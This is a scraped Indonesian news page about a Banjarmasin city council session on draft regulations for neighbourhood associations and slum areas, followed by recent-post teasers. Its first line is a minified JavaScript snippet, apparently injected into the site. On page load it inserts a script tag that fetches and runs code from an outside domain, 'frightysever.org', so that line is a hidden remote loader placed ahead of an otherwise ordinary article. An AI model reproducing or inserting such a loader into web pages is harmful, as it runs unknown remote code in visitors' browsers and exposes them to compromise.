(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Hj Ananda : Hanya 30 % Kawasan Kumuh Banjarmasin Tertangani


BANJARMASIN, Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarmasin gelar rapat paripurna membahas perubahan 2 buah Rancangan Peraturan Daerah. Raperda Nomor 23 Tahun 2010 tentang pedoman penyelenggaraan lembaga kemasyarakatan Rukun Tetangga (RT) dan Rukun Warga (RW) serta Raperda Rencana Pencegahan dan Peningkatan Kualitas Perumahan Kumuh dan Pemukiman Kumuh (RP2K-PKPK) Kota Banjarmasin.

Ketua DPRD Banjarmasin Hj Ananda mengatakan, penyampaian Raperda yang terkait RT dan RW ini hanya mengubah beberapa pasal saja di sana. Sedangkan untuk Raperda terkait perumahan dan pemukiman kumuh akan disesuaikan dengan kondisi Kota Banjarmasin saat ini.

“Kita melihat realita serta data perumahan, ada kurang lebih 500 hektare kawasan kumuh yang berada di kota Banjarmasin, dan 30 persen saja yang tertangani. Makanya perlu aturan untuk menanggulangi permasalan tersebut,” katanya

Ia mengatakan, dewan akan berupaya melakukan dan menyelesaikan Raperda tersebut dengan segera. Mengingat permasalahan kawasan kumuh tidak hanya terjadi di Banjarmasin saja, tapi juga terjadi di kota-kota besar lainnya.

“Kami menginginkan dengan selesainya Raperda ini, membantu pemerintah mengurangi atau meminimalisir kawasan kumuh di Banjarmasin. Kalau bisa, harapan kami, tidak ada lagi kawasan kumuh di Kota Seribu Sungai,” ucap politisi cantik asal golkar tersebut.

Pengamat tata ruang kota Anhar Ayubi SE mengatakan, pemerintah kota Banjarmasin harus mendata ulang kembali kawasan kumuh di kota Banjarmasin, Pemkot Banjarmasin masih sering lengah data itu.

“Kota Banjarmasin hampir seperti sebuah Kota Metropolitan, perlunya tenaga ekstra untuk masalah permukiman kumuh,” ucapnya.

Pemkot harusnya tidak hanya melakukan sosialisasi saja, namun harus seimbang dengan fasilitas serta dampak pemerataan perumahan kumuh di kota Banjarmasin, karena apabila terjadi perataan perumahan kumuh, akan menjadi permasalahan baru lagi untuk penampungan warga nanti. (ammar)

Reporter:Ammar
Editor: Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.